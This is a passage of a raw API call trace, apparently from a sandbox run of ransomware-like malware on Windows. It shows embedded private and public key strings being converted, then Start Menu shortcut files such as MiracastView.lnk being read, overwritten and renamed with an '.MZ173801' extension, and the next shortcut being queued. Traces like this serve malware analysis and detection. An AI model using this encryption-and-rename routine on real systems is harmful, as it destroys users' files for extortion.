lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0209.006] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24a003c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0209.007] GetCurrentThreadId () returned 0xab4 [0209.007] GetCurrentThreadId () returned 0xab4 [0209.007] GetCurrentThreadId () returned 0xab4 [0209.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0209.007] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24b109c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0209.007] GetCurrentThreadId () returned 0xab4 [0209.007] GetCurrentThreadId () returned 0xab4 [0209.007] GetCurrentThreadId () returned 0xab4 [0209.007] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\MiracastView.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\miracastview.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0209.008] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0209.008] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0209.008] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x8ab [0209.008] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0209.008] ReadFile (in: hFile=0x328, lpBuffer=0x24b8ea0, nNumberOfBytesToRead=0x8ab, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24b8ea0*, lpNumberOfBytesRead=0x19f74c*=0x8ab, lpOverlapped=0x0) returned 1 [0209.014] CloseHandle (hObject=0x328) returned 1 [0209.014] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\MiracastView.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\miracastview.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0209.330] WriteFile (in: hFile=0x328, lpBuffer=0x24baed0*, nNumberOfBytesToWrite=0x8ab, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24baed0*, lpNumberOfBytesWritten=0x19f758*=0x8ab, lpOverlapped=0x0) returned 1 [0209.331] CloseHandle (hObject=0x328) returned 1 [0209.548] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\MiracastView.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\miracastview.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\MiracastView.lnk.MZ173801" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\miracastview.lnk.mz173801")) returned 1 [0209.800] GetCurrentThreadId () returned 0xab4 [0209.800] GetCurrentThreadId () returned 0xab4 [0209.800] GetCurrentThreadId () returned 0xab4 [0209.800] GetCurrentThreadId () returned 0xab4 [0209.800] GetCurrentThreadId () returned 0xab4 [0209.800] GetCurrentThreadId () returned 0xab4 [0209.800] FindNextFileW (in: hFindFile=0xa1b268, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef80377f, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef84fc3f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef84fc3f, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x3f3, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="Mozilla Firefox.lnk", cAlternateFileName="MOZILL~1.LNK")) returned 1 [0209.800] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0209.800] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0209.801] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Mozilla Firefox.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\mozilla firefox.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef80377f, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef84fc3f, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef84fc3f, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x3f3)) returned 1 [0209.801] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Mozilla Firefox.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\mozilla firefox.lnk")) returned 0x20 [0209.801] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Mozilla Firefox.lnk", dwFileAttributes=0x80) returned 1 [0209.956] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0209.956] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 